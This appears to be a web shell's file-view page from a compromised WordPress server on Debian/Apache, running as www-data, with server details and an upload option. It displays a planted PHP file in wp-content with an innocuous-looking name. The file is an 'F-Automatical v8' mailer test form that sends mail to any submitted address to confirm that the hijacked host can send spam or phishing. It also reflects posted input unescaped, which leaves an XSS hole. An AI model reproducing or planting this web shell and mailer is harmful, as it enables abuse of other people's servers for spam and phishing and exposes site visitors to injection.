HEX
Server: Apache/2.4.53 (Debian)
System: Linux 81f031f4d056 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64
User: www-data (33)
PHP: 7.4.29
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/tesTklt.php
<?php

error_reporting(0);

echo '<b>F-Automatical v8 [Sending test].<b><br><br><form method="post">
<input type="text" placeholder="email" name="email" value="'.$_POST['email'].'">
<input type="text" placeholder="ID" name="orderid" value="'.$_POST['orderid'].'">
<input type="submit" value="Send">
</form>
<br>';

if (!empty($_POST['email'])) {
	if (!empty($_POST['email']) && trim($_POST['orderid']) != '') {
		$rand = trim($_POST['orderid']);
	} else {
		$rand = rand();
	}
	mail(trim($_POST['email']),$_SERVER['HTTP_HOST']." - Sending is Working Fine. [Result] ID: (".$rand.")","F-Automatical v8 [Sending test].");
	echo '<b>Send an report to ['.$_POST['email'].'] - ID: '.$rand.'</b>';
	echo '<!-- <id>'.$rand.'</id> -->';
}

?>